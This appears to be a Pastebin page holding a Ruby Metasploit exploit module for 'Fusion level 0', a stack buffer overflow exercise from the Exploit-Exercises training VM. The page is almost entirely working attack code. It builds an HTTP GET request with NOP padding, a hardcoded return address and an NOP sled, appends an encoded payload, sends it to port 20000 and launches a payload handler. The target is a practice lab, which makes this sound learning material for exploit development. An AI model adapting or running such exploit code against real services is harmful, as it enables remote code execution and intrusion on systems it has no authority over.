Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # Fusion Stack Overflow level 0
- # by Xelenonz
- # http://Xelenonz.blogspot.com
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- include Msf::Exploit::Remote::Tcp
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Fusion Stack Overflow level 0',
- 'Description' => %q{
- Exploit for Fusion Level 0 Exploit-exercise About Stack Overflow
- },
- 'Author' => [ 'Xelenonz' ],
- 'Version' => '0.1',
- 'Payload' =>
- {
- 'Space' => 400,
- },
- 'Platform' => 'linux',
- 'Targets' =>
- [
- ['linux x86',{ 'Ret' => 0xbffff9c0, 'Offset' => 139 } ],
- ],
- 'DefaultTarget' => 0,
- 'Privileged' => false
- ))
- register_options(
- [
- Opt::RPORT(20000)
- ], self.class)
- end
- def exploit
- print_status("Generate Payload data")
- data = "GET " + make_nops(target['Offset']) + [target.ret].pack('V') + " HTTP/1.1 \n" + "\x90"*200 + payload.encode
- print_status("Connect to target")
- connect
- print_status("Sending #{data.size} byte payload...")
- sock.put(data)
- print_status("Trigger control handler")
- handler
- disconnect
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement